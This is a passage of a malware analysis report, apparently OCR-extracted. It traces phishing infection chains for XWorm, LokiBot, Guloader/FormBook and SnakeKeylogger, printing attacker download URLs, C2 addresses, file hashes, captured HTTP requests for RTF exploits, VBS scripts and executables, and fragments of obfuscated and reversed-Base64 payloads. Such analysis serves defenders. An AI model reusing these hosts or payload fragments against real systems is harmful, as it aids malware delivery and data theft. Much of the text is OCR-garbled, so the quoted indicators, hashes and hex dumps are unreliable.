©000001A0 80 ec 80 cc 56 86 03 03 2 9d 4d 60 33 @9 65 52 ...\ 100000080 2b 00 03 02 03 04 00 @d @0 0a 00 083 04 03 08 04

00000180 51 41 a5 34 15 2 3f dc 72 7a cc 1d a2 d4 de 27 QA.4] |a000090 08 @0 04 01 00 Ga 00 Ge 00 Oc 00 19 00 18 00 17

000001C0 9a df 9c 5d @3 f9 9b c9 79 69 8e ea 8c b4 08 af ...1{ |000000A0 00 15 00 13 00 10 .
00000100 6 aa 6b 5a 2d 5d 70 5b 87 b6 70 68 66 c4 5F 3¢ ...Z 00000000 16 03 03 00 7b 02 00 00 77 03 03 03 e3 9f a9 a3
000001E0 c4 19 fd d9 7c 4a d6 44 68 2c 88 20 17 03 03 00 00000010 ac 10 41 25 1f ed 11 f4 91 91 db d7 £2 Of 37 Oc
©000001F0 60 c2 11 8a a5 ab 7d 27 33 84 51 93 48 b7 ca ea ... 00000020 71 c7 @c 27 4a 74 13 bc 38 b5 cd 00 13 01 00 00
00000200 4b 17 a9 71 0d 1a 31 de 8e 9c af 60 fe 24 8e 7c  K..q 00000030 4f 00 33 00 45 00 17 00 41 04 49 a@ 9b 7c 18 80
00000210 5 Sc db 11 88 @9 05 78 c8 de 6b a0 92 53 al a2  .\.. 00000040 a7 a0 13 6c c8 bd d4 eb 3 55 39 bS 85 3f 5c ad
00000220 d7 49 6f Sb fe 61 41 a9 1a 89 08 Ge al 9b 47 84  .To[ 00000050 2c aa 12 94 d6 4b 50 b2 bb 6d Oe 94 £7 15 72 62
00000230 24 a4 79 4b Se @9 al 46 cl c@ 8f 66 87 fd b4 54 $.yK 00000060 41 c4 80 9e a6 26 ed 26 a3 39 45 3a 4c 86 cl ef
00000240 75 3f 45 £7 b5 79 7 8d 89 43 cb 5b a6 d7 42 fo  u?E. 00000070 ed b7 28 52 43 ab 5b 9b 74 22 @0 2b 00 02 03 04

00000250 4a 17 03 03 @0 35 f1 28 24 a7 86 78 7 c5 32 ed  J...
00000260 cc 44 14 6c 4d 6¢ 6a 3f a7 8b 09 60 45 5123 78 .D.I T
00000270 62 24 83 1d 86 f2 01 1f 86 cO b2 16 Sb 41 4f 63  bs..
00000280 8d 2b ff 23 4c fd 9a 3e d9 6f 77

Entre conversation (294bytes) v Showdataas [HexDump v sveam

20000A6 17 03 03 01 20 48 2a 25 ee 99 b4 66 a@ 54 7c 57 | [roan
20000B6 18 18 f1 7e 55 7d b3 34 5f 75 b6 59 bc bl cl e7
20000C6 7 4 6a 16 c1 4d a5 4d c3 33 6e 7 96 fa 80 2e Fiter Out Tris Stream print Saveas. Back Cose rel

2000006 66 68 f4 01 6f 8a ae 18 8a 20 27 c3 03 da f6 11
DOOOOE6 6 e 08 1f 20 20 a3 al bf el 3b 22 e2 bb 21 9b
20000F6 56 64 de b9 72 8f bc 1f e2 cf @5 29 5 a5 7d 87
2000106 a6 e8 d5 3b a6 9a e5 c5 e 8f 2d 28 el cb ee 85
2000116 c1 95 97 39 db le c1 f4 ee 40 b2 47 fa 4b a8 07
2000126 ca 65 21 @ 1f cb 6f 3c 23 ee 4a la fb 1f 8c ca

Figure 28. The conversation between Remcos and the C2 server

1.4 XWorm attack
XWorm is among the most popular RATs, used by many threat actors including TA 558.

Similarly to the previous case, one of these chains begins with an Excel file containing an embedded link, which redirects
requests to another server to download an RTF document with an exploit inside. In this case, we saw the files
7b768394fa0869d92f872eb486{49fabd6469ef3a8fd8bdf9cb49d35b39ea73b and
94bcfc033fd6e445163116ebf73877ef71e22192bef829822314042b31a7281f, which, when run, redirected to a URL to fetch

the next stage:

» 107.175.31[.]187/7508/iconimages.jpg
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GET /7508/iconimages.jpg HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.@E; InfoPath.3)

Host: 107.175.31.187

Connection: Keep-Alive

HTTP/1.1 200 0K

Date: Tue, 19 Mar 2024 14:26:10 GHT

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Last-Modified: Tue, 19 Mar 2024 06:41:20 GMT

ETag: "cf6-613fdc31549e3"

Accept-Ranges: bytes

Content-Length: 3318

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: image/jpeg

..S.e.t. .g.a.le.n.iis.tia. .= .C.r.e.a.t.e.0.b.j.e.c.t.(".M.S.X.M.L.2...X.M.L.H.T.T.P.".).
.F.un.c.t.i.o.n. .a.r.a.r.a.(.e.n.t.o.r.p.e.c.im.e.n.t.o.).

r.(.e.n.t.o.r.p.e.c.ime.n.t.0.).

p.e.r.d.iiz. .= 9.8,
ma.c.ha.c.a.z. .= .a.r.a.ra.(opee.r.d.iz).
.p.e.i.tialhia. .= 9.9

Figure 29. The RTF request for a VBS script
The script contains an embedded URL:
e paste[.]Jee/d/G5J31
Its content is an obfuscated VBS script containing two links to images with additional payloads:

¢ uploaddeimagens|.]Jcom [.]br/images/004/755/997/original/new_image_r.jpg?1710413993
¢ uploaddeimagens|.]Jcom [.]br/images/004/755/997/original/new_image_r.jpg?1710413993

GET /images/@04/755/997/original/new_image r.jpg?1710413993 HTTR/1.1
Host: uploaddeimagens.com.br
Connection: Keep-Alive

GET /images/@04/755/997/original/new_image r.jpg?1710413993 HTTR/1.1
Host: uploaddeimagens.com.br

Figure 30. The request to fetch the images

As with the main case described above, the strings from the images are decoded, and a payload is assembled, which then

downloads a TXT file with a reversed Base64-encoded file, which is the final payload: XWorm.

e 107.175.31[.]1187/7508/xwo.txt

GET /7508/xwo.txt HTTP/1.1
Host: 107.175.31.187
Connection: Keep-Alive

HTTP/1.1 200 0K

Date: Tue, 19 Mar 2024 14:26:27 GMT

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Last-Modified: Tue, 19 Mar 2024 06:37:30 GMT

ETag: "d558-613fdb55f5eb2"

Accept-Ranges: bytes

Content-Length: 54616

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/plain

A1WZZNXYvwiC AC yYV3Y1N3L8ACTEAI CNAzC1dWZs Lndp CTgAiCNAZLiU2csFnZ
102C2V2Y3FUa1BiTyV2avZnbINXYi@Db1ZXZSBCb1 5 Z1FXZyxDIEACIEAC 92y 1ych 135Pz5GbthHIZV2Z 1xHa21ncQ
RWZONXZ1FXZyxDIEACTgAI CNATe01nc INWZZxDIEACTKOgP1 11 dub2chpTbyNWLOZ2bzOme Ib tHXYtVGajhinOu 2ALCNAZLiAHChS1b 1XTiOTZtF
mbgTCHMuAjLwASMi03bv]. CZFGPEALCNA; TwdSMi0jbv12cy 1GTiEj 022b29mc3 IWb tMXYtVGaj i JbIN3chx
CN4zPiMXZ5]SP152bsFGZuFGdzBiI4@iRUVII9cmbpR2bjSWZgICMUE j1942bpNnc1ZHIs1Ge/

i Agl AwhgL
ANARAA 4GA DAMAT, 1BATAEAACAAKAAAA d
AAUGA wAg|
@ 7BuC/
KEA: 7EQL/ TAKEAfBeTABEAIBWUAIFAFBEVABFATBEVAAAABTANAA

Figure 31. The payload with the reversed Base64-encoded file
Once running, XWorm starts talking to the C2:

e 147.124.212[.]213:6161
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00000000 32 37 32 @@ ab c2 a4 b@ 5 1b 3 4d 97 55 13 9%  272..... .. .M.U.
00000018 dc f@ 24 79 23 9f 3a 45 bb 88 89 79 51 28 62 bb SL$y#OE . yQ(b
00000020 58 78 ea b@ T4 9a 68 39 4f 63 63 5a bc e3 d5 6d
00000030 32 c8 fc af dl 67 24 f1 76 B9 ee ac c2 b6 99 91
000P0048 62 13 3d 00 b7 b6 ed 27 12 ab b8 3c 19 58 7e 10
00000050 69 @3 @9 ad 22 le de 2a @3 86 94 9e 81 6@ 44 2f
000POR68 eb 86 23 1f 19 85 f2 e4 13 26 1f bb 56 fd 61 cf
00000070 d8 b6 b2 2e be @7 8b 17 e7 56 e8 61 c6 53 a@ 88
000R0P8d 5a 73 4a 8 93 e7 5e 19 ©b fd €9 16 b4 1b 4c 93
00000090 2a 4d @0 14 2a aa 2f f5 bb aa df 4e 12 cf 77 @2
000A00A8 b8 fe a8 7 88 92 69 62 db 87 90 b9 c2 43 a8 38
P00POOBG d4 25 55 bf 7 b6 47 ff da 59 49 89 53 60 16 6¢
0000AaCe 38 25 bl f2 8a 9e 83 7d 21 93 67 el 85 9e bd d8
00OPEEDe 03 fa 65 03 @7 7e 9 15 fa 3c 80 5 63 03 2e aa
0000AQE® bf dc 33 69 52 90 c9 e4 @1 77 ad 9a 35 @3 68 f7
000RERFE d4 68 15 ed 84 2d 14 83 be 26 7c fd db eb 7c 08
00000100 @d 61 66 78 da 36 de @@ 65 e3 f1 5e 78 @9 4a 20
00000110 6a 2d 90 1b T=os
00000000 31 36 @0 le 5c 9c B2 65 d6 80 b2 86 6e 7b d8 93
00000010 6 Sa 66
00000114 33 32 00 87 89 eb 6b d3 be f1 84 f4 39 41 f4 ba 32...
00000124 6a el 6a ¢l 97 7f dc 76 1f bl 4e fe 3c 33 bd d@  j.j..
00000134 de c4 18
00000013 31 36 00 33 a@ b2 95 6a 8c f1 96 da d@ 3e @e be 16.3...J
00000023 b2 ad 1b
00000137 31 36 @0 80 d1 51 61 86 49 44 dc 1d d8 ae 4e 4a 16...Qa. ID....NJ
00000147 19 a9 ed
P0OPO14A 33 32 00 87 83 eb 6b d3 bo f1 84 f4 39 41 f4 ba 32..._.k. ....9A..

000RA15A 6a el 6a 6e 5a b5 39 ff 79 f@ 52 91 8f b2 65 f@  j.jnZ.9. y.R...e
00ORO16A 2a 35 67 *5g

00000026 31 36 00 33 a@ b2 95 6a 8c f1 96 da d@ 3e @e be 16.3...J
00000036 b2 ad 1b
00000160 31 36 @0 31 81 b9 c2 14 1d e7 f7 @c d2 fd 4b 68 16 1
00000170 eb 4da d7 5
00000039 31 36 @0 le 5c 9c B2 65 d6 8@ b2 86 6e 7b d8 93 16..\..e ....n{..

00000049 6 5a 66 o}
000PO180 33 32 00 87 89 eb 6b d3 bo f1 84 f4 39 41 f4 ba 32....k. ....9A..
00000190 6a el ba @e 30 la 9a O@c b5 €9 al 83 @e 69 e@ 54 j.j.0... ..... 1.1

Figure 32. XWorm talking to the C2 server

1.5 LokiBot attack

LokiBot is a stealer that collects data from various applications used by the victim, such as browsers, email and FTP clients,

and so on. One of these files was received from:

e 23.94.239[.]119/_—00_o, ---000_00_0oo_0-0_00- 00o-
/ozzwerdfdghjfdggsahfhfghf.doc

GET /_--00 0 ---000_00 600 0-000-_______ofo-_______/ozzwerdfdghjfdggsahfhfghf.doc HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.36729; .NET CLR
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.GE; ms-office; MSOffice 14)

UA-CPU: AMDG4

Accept-Encoding: gzip, deflate

Host: 23.94.239.119

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 19 Jan 2023 09:54:22 GMT

Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.12
Last-Modified: Wed, 18 Jan 2023 16:20:19 GMT

ETag: "5705-5f28c313d94e9"

Accept-Ranges: bytes

Content-Length: 22277

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/msword

{\rt
(\*\Fldr‘sltmﬂgsllﬂ \-}
L Hm 42| &R 5% %7 55422 L (L

(\156073795wm?>ﬂ?(%l] 23%

*)0% »\s 13]3;. 2262, ?
8)18]1520+5; . .428>2. . 727574089, 5~ [12%. 7 ©18:385% 7149861, 6, K[ D=3
768;7;92$(%@1172.22<3- 23,1°% 2% 77~[-73[02<97"'6|30~%"5:2. 2@4/9@20#| (5)+29" : ;*: 2(+
<%: =%, 7~&]2)>= [/.%.158° 3¢;0+28)#5<$7[ .~9<@9">$;09.$40"4<?, 214°%9, $2%_,9 9)< ~22¢.
263§%6. 1)1532+.5| [#5 '5[1:8>04728/56| *_2*37 >2(762))#+2.1[*8[5.7-[,)2-6""2.
8(1) xg@v >z)*5$ |2. ?/.? 2.

>

2~@[=/1.2.90. >)s1)131 1.
341 ) 4+ 20H91/ (+60] 57> .~5%1 701
)\9 [7>++*1)#[[<) 5%]%,” 2%) "&#5%, (728;
*_%0H8)<./5>197 " "&[X]:, .@*1 N */ ~

13_: (&-'2[9[[)9P?:|2<
8%.>)21)4%:52/° $7%.5 (3»7*2) <~1]8..622&~[ |3)81%&/%". 7)
(+2+,)$%. /3. .%96(228=]31]"2%n1, -= |~#%5¢>.>9<) | 8228 8@&
51-1#+22(2/, . 2482" 2(31<> [%7%>- |%. [ |01 '8' +¥55%/ ;7| ~'8.
+2:8[@~;0.80. . 23#1 -_6(%;86*$%4_|4~,0)62~21:%; #_6@4%<82-

#:
? 2" 5872 ($-0-4#7%. ;%< [240.
8,0-48>2.#274%2:2. . +5 (@%15| .6-100) : - (@82

Figure 33. Downloading an RTF file

As in the other instances, the file is an RTF document that downloads a PE file (SHA-256:
adc6a50e5985c31f0ed5ea885edd73e787{893f709591e5¢f795fd78403d1430) from the following URL:

e 23.94.239[.]119/112/vbc.exe
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GET /112/vbc.exe HTTP/1.1

Accept: */’

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.36729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NETA.OE)

Host: 23.94.239.119

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 19 Jan 2023 09:54:24 GMT

Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.12
Last-Modified: Wed, 18 Jan 2023 23:01:01 GNT

ETag: "58b93-5f291cadebbad”

Accept-Ranges: bytes

Content-Length: 363411

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

[ @ e 1..L.1This program cannot be run in DOS mode.

.Pf.Rich.Pf

Figure 34. Downloading the PE file
The file is LokiBot, which starts communicating with the C2, sending information to the following URL:

» sempersim[.]suw/hal/fre.php

POST /hal/fre.php HTTP/1.0

User-Agent: Mozilla/4.8 (Charon; Inferno)
Host: sempersim.su

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key:

Content-Length: 176

Connection: close

N ree.0.1.0.6.4.6... . SNNEGEGN e o..
3o RmgKS. .. .HTTP/1.0 404 Not Found

Connection: close

x-powered-by: PHP/5.4.16

content-type: text/html; charset=UTF-8

content-length: 15

date: Thu, 19 Jan 2023 09:54:35 GHT

File not found.

Figure 35. Communication between LokiBot and the C2 server
1.6 Guloader/Formbook attack
This example begins with the file named "NEW ORDER xIs" (SHA-256:
3688f05556a136fe094de5cb1888eac2a579525{72cd027e19738582ed40c283).

X995 I -
Home | Inset  Pagelwout Fomulas  Data  Review  View  Developer
= Y ot

P Swapret

5P } EZh X Autosum v Ay

== ) Fem i

&a Copy ~ o B 5l i 7l

- | Condtional Fomat  Cell | Insert Delete Format Sort
F Format painter Sl Formating - 23 Table - Styles~ |~ - - Filte

Clipbosrd 5 Fort 3 Aignment s Number . sty cells Editing

A B c D E F H i K b M N o P Q R s

Paste EE EMer v e % 0 | B
: EE BMergeacenter § - % B Q clear~

o

5o | |~ [onfen o s o [

BBl N RaEERE

2

Figure 36. The contents of "NEW ORDER .xls"
The macro inside the Excel file starts the next chain, similar to what we saw earlier. First, it sends a request to:

o 2s[.]gg/3zs
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GET /3zs HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC
6.0; .NET4.0C; .NET4.9E; InfoPath.3)

Host: 2s.gg

Connection: Keep-Alive

HTTP/1.1 307 Temporary Redirect

Location: https://2s.gg/3zs

X-Azure-Ref:
OKyUCZgAAAADLIagqHy1yzSYG4/4aDtipQTE9OMjFFREAFMTEXNAB1YZzIkOWI1i0CQ2NDBKLTQXMDUtODK5Ny@5
ZWEXMDR1ZGY2MGQ=

Date: Tue, 26 Mar 2024 01:30:18 GMT

Content-Length: @

Figure 37. The request before the redirect

It then redirects to an RTF document with the previously mentioned CVE:

103.237.87[.]56/rew/re/binwecanmaintainthenewthingswithhimbecauseiwasrunningaroundthewroldwithnew. icangofornewthingsfortruestoryul

GET /rew/re/binwecanmaintainthenewthingswithhimbecauseiwasrunningaroundthewroldwithnew___icangofornewthingsfortruestoryuloverbrother.doc HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.@; SLCC2; .NET CLR 2.0.56727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0F; InfoPath.3)

Connection: Keep-Alive

Host: 103.237.87.56

HTTP/1.1 200 OK

Date: Tue, 26 Mar 2024 01:30:21 GMT

Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
Last-Modified: Mon, 25 Mar 2024 12:42:40 GMT

ETag: "10330-6147b825b2cc5"

Accept-Ranges: bytes

Content-Length: 66352

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/msword
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Figure 38. Downloading the malicious RTF file
Guloader, to be used as the loader for fetching the next piece of malware, is then downloaded from the following IP address:

e 103.237.87[.]156/setup/bin.exe

GET /setup/bin.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.OF; InfoPath.3)

Host: 103.237.87.56

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 26 Mar 2024 01:30:24 GMT

Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
Last-Modified: Fri, 22 Mar 2024 08:48:22 GHT

ETag: "f830-6143be2dd059a"

Accept-Ranges: bytes

Content-Length: 1016800

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

.I..L.IThis program cannot be run in DOS mode.

Figure 39. Downloading Guloader

The Guloader file (SHA-256: bfd50523e4cabf7fe9e6f0afc926b9269708ac80af43a943ebcbc909a9ae0695)accesses a Google

Drive to get the malware payload, FormBook:

e drive.google[.]com/uc?export=download&id=1QJZpY WwAS5nTHIXAY5PxXqGvqEBOLjtOi ->
drive.usercontent.google[.]Jcom/download?id=1QJZpY WwASnTHIXAY 5PxXqGvqEBOLjtOi&export=download

Once running, FormBook (SHA-256: e1259d936¢3993e5d8671b8b5e2362eb974984d046871296c50cf51eela96e4b) starts
talking to the C2:
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thechurchinkaty[.]Jcom/nrup/?

vLwtltg=a+HLDFsilkHuV4rn/wjkuvItWj7ch7WMO9xbFOtVeNEzn7JMPDdWHI+pluLOfQ5QTDqWxNNxIGS7LM9UJKf1d/iZERaTVE3Mno:

GET /nrup/?vLwtltg=a+HLDFsiTkHuVArn/ujkuvItWj7ch7WNO9XbFOtVeNEZn7 IMPDAWHL +pluLOFQSQTDGWXNNXIGS7LMOUIKF1d/

iZERATVE3MnOXORAYMAaY ST2DaDQ==&tdCpR=qZUxOL6Orvw HTTP/1.1

Host: www. thechurchinkaty. com

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/uebp, inage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9

Connection: close

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

HTTP/1.1 200 0K

date: Tue, 26 Mar 2024 01:31:38 GMT

content-type: text/html; charset=UTF-8

transfer-encoding: chunked

vary: Accept-Encoding

x-povered-by: PHP/8.1.17

expires: Mon, 26 Jul 1997 05:00:00 GMT

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

pragma: no-cache

x-adblock-key: MFwDQYIKoZI JBANny Lii2vL SFUCSdF1b 4t31c+ q1LGPga3DELL/
tHUALENMCAWEAAQ==_dOCPTNO525/0M2ns1Ge8RIVCZEXg] /8 +unrx1WS1UBXS1Dpcbm6qzXz 2ZV6QY3kuTe/1r6Ks 1mul ZZBSFQCTw==
last-modified: Tue, 26 Mar 2024 01:31:38 GHT

x-cache-miss-from: parking-59f8c86b98-8tlwun

server: NginX

connection: close

2CE
<IDOCTYPE html><html lang="er
58q1LGPga3DELL/ tHUALENMCAWEAAC
charset=
content="

data-adblockkey- IKoZIhvl JBANny 1U2vLY4h SFUCSdF T4t31c+08YOV/
._dOCPTN525/0M2ns1Ge8RIVCZEXg /8 +unrx1W51UBXs 1Dpcbm6qzXzf22V6QY3kuTo/1r6Ks1nul ZZBSFQCTw==><head><meta
t£-8"><titlesthechurchinkaty. con&nbsp; -&nbsp; thechurchinkaty Resources and Information.</title><meta name="viewport"
idth=device-width, initial-scale=1.0,maximun-scale=1.0,user-scalable=0"><meta name="description” content="thechurchinkaty.com is your
first and best source for all of the information you...re looking for. From general topics to more of what you would expect to find here
thechurchinkaty.com has it all.
576
We hope you find what you are searching for!"><link

r con™

/><style>

Figure 40. The communication between FormBook and the C2 server
1.7 SnakeKeylogger attack

As in most of the cases we have covered so far, the chain begins with an Excel file, such
as "Payment_Draft_confirmation.xla" (SHA-256:
9caeaefa5ecb508895fef48764dc689f49dd8ad9f7e4de9e52202f1c1db101el).

When the file runs, it sends a request to the following URL:

« qlyl.Jai/TZWGK

GET /TZWGK HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflat

User-Agent: Mozilla/4.0 (compatible; MSIE 7.@; Windows NT 6.1; WOWG4; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media
Center PC 6.0; .NET4.0C; .NET4.0F; InfoPath.3)

Host: gly.ai

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: nginx/1.18.0 (Ubuntu)

Date: Wed, 20 Mar 2024 11:38:06 GMT

Content-Type: text/plain; charset=utf-§

Content-Length: 163

Connection: keep- alive

X-Powered-By: Expre

Location: http: //297 32.219.82/7056/snk/snkisanewthingswhichhelovesornotireallynotknowhathelookingbutshesloved_alotwiththisnewthingswhathetoldne.
Vary: Accept

Found. Redirecting to http://207.32.219.82/7050/snk/
nki ireallynotknow ingbutshesloved__alotwiththi i 1dme. d

Figure 41. The request
This is followed by a redirect to the following URL to download an RTF document:

e 207.32.219[.182/7050/snk/snkisanewthingswhichhelovesornotireallynotknowwhathelookingbutshesloved___alotwiththisnewthingswhathetoldme.d

GET /7050/snk/snkisanewthingswhichhe ireallynoti ingbutshesloved__alotwiththisnewthingswhathetoldne.doc HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.6.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.6C; .NET4.OF; InfoPath.3)

Connection: Keep-Alive

Host: 207.32.219.82

HTTP/1.1 200 0K
Date: Wed, 20 Mar 2024 11:38:06 GMT

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
Last-Modified: Wed, 20 Mar 2024 00:24:05 GMT

ETag: "11d23-6140c9bbaSces”

Accept-Ranges: by

Content-Length: 72995
Keep-Alive: timeout=5, max-100
Connection: Keep-Ali

Content-Type: application/msword
{\rtfl

{\*\latentstyles960005516 \]}

{\6954308%2, . ; 2 (&.6]|4<+=7%57<$ | ~-+) (" 62.&. 1~*749| ;$742<>> | .4=|%*82+_[8&54%[=@3@?]3'0" 7821~ %@, 292.~;@. (#<![8&.1) 28222 | < #>$%3+=
#207. [..B(%7%21>6' 07| 1<| 2>$2. 222~46%2%(=(8%~(89] 17 2#17.2:8[-$34<K(?2" 5" $7°071'X20$12+0+4.6. 2122+ | ,89~76_6]42<52>75. | ..924" %% 5
5$3%27" /%+.5>6$3.56~/ .8<. >4~ (@(<1.222? ? *>.~2)~06] | [>%>0. &I%[~?. 18221 :<[13%043~2/11 < -%%13!
51.1>3%222%@=218$2%/&/? | @876 [@58" ; 908$~( svﬂ~ g ? a721z+*1>7)_’(;\35?&?%0?%? 5
8/18<-02>) :86[1#4-%_1. ($8<0= .(@.~8!.4[1'8 ?.22%.;+][. 1% 2>67
KIK([. 87783711181, || %, 80<;834777%=,
03)+3'01)-=1%0, +47>%[9>17 31<.8%2/9] 4]

29202225 29~

2~%0]22<0.%.%72<
6'5782]6+2+8%

? '] ?
>[3#75.$.2(298) 1 41420583.., 11%. ,
L2 [#22/4828:12[26+532, #7568 22
707]z]~x]z [[6"0-5.182'&!]" 35%/ >>*[|
%% ' A>) -%%@8&</_8. 21 ?.@44<.
1>24=201=/2_7. Aeouuw( 2
nx@np@ ~|%29;1.%272°80 [67;
*9.8:;1; 25727 (299261
7] (z*x I>>4>s (s& 8% 47. A4/9 1 >53 .58°6"_%5n18-|0le%2ns |
202>9/:2303>,/(-[ 2/@.:9%" :~_]_=2%%. 77 [#+$6248-8<0.@. #.%1- (%:5- 1" @%2-. 12
L4..:#'$;4370 52, )?7?! ( ] 2.5.2[284,]%°4,,? --@8.[7(+ 22%.3%%(" (5.2(.3%621].

> 5]=2%~
-2[]2 2482-:@6;.*7| |
$2:(3-8-7_|>28<49]@+) 146234247
6.(%,%|375@213(8@, 1271|592 .%. /~
.53~-2%<6/-2=""4,4.:32"<08"14% [< -
9.62)797]%;2[113%92072 . [992-6%, *3-%1" /46| /55501
221%(23|5%13(., 7@%/>22#,? 5[5~ 5
A22_~B34[;2/><2<-"$2_65=2@~<%, . .B%9,%<28: ""%%; ; .3%.>, 26

Figure 42. Downloading the RTF document
The RTF document downloads a VBS script from the following URL:

e 207.32.219[.182/7050/imaginepixelimages.jpg
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GET /7050/inaginepixelinages. jpg HTTP/1.1

Accept: */'

Accept- En(nd)ng gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.@; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.56727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)

Host: 207.32.219.82

Connection: Keep-Alive

HTTP/1.1 200 OK
Date: bed, 20 Mar 2024 11:38:16 GHT

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
Last-Modified: Wed, 20 Mar 2024 00:20:16 GMT

ETag: "64872-6140c8e12a703"

Accept-Ranges: bytes

Content-Length: 411762

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: image/jpeg

.. .Cop.y.riighit. L(.c.). Mi.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.ion... . . ALl .r.i.ghts. .res.er.v.ed..

.'. .V.B.S.c.r.i.p.t. .S.o.u.r.c.e. .F.ilee.

S S.coriipot. Noamee.r. .wi.nrom.o.v.b.s.

Figure 43. Downloading the VBS script

The next stage downloads reversed Base64-encoded strings, which prove to be SnakeKeylogger (SHA-256:
69dffbdcc112b62bfa93e2d6d95de42ef16e01e428b883b9671056ac93bbce8f) when decoded:

e 207.32.219[.]82/7050/SNK.txt

GET /7050/SNK.txt HTTP/1.1
Host: 207.32.219.82
Connection: Keep-Alive

HTTP/1.1 200 0K

Date: Wed, 20 Mar 2024 11:38:51 GMT

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
Last-Modified: Wed, 20 Mar 2024 00:13:22 GMT

ETag: "2b558-6140c75722605"

Accept-Ranges: bytes

Content-Length: 177496

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/plain

kHb1 1WZZNXYvwj CNoQD-+0SLgAi CNATe SHZKSWZWGZ

kHbi TKOgPVACIgACIgAC: '1dmbhxGIgACIEACIEAC JY1KTN: 1t0YpxmY1BHIgACIgACIgACIKOgIq

ISP1]XdOMNZBlGa)JXQy92cleVvJHchCIgMIgACIgoQDxA] LMCMuV)IQAprNnchHIgACIgA(IgAfTKOﬂ uMbt: 1L072bz9mcIWTiOTZtFnbgACTgACTEACTg0

QDiTzMu12di0TZwlHdgACTEACTEAC AC QDtOSTBACTKOEPtOCTpIXZOF GbgQnbhBC

UYByC396Zul2VoAy i (T S FmbFBSLtECPEA(NoQD+0SL gALCNA by 16dhNMasBHChICPgAi (a2 CnSWaBRXZTN3dvRmb

pd}LSACIgAlCNATZyFZdBchkQCPl\/ncOS]IzdmprHlelcEQGZu12VVUD"MIzLJIOUVOZbJSCdeZCVJ3Vp1mLszb1hlV19yL TgAC 20

iM: 022b29mc; LbtMXYtVGaj DteST: IK@gvtocIchamszbJSchFGIyIWZoRHIu1GInuwdyR31gssdgc

mbpRHINHI: hoctd JHYuVOIgUGa0BCd: TEACTEAICNACZSV3bolH VBCdhhGdgY3LOAyay92d11H
YyZETUVK 2bpRXY TgACTgAICNAC UFGI1IXY3FWLIBFRgkHbSF2YpRXYt9Gd1FGI1:

i c39GZu12VgAyc]BFRgACIgACIgOQDyVGanIGagQXVgMdeRmbpdFISJGIkVthNchkHbsF2VpRXVt96d1FGI]JGIB9mbngbdeIk
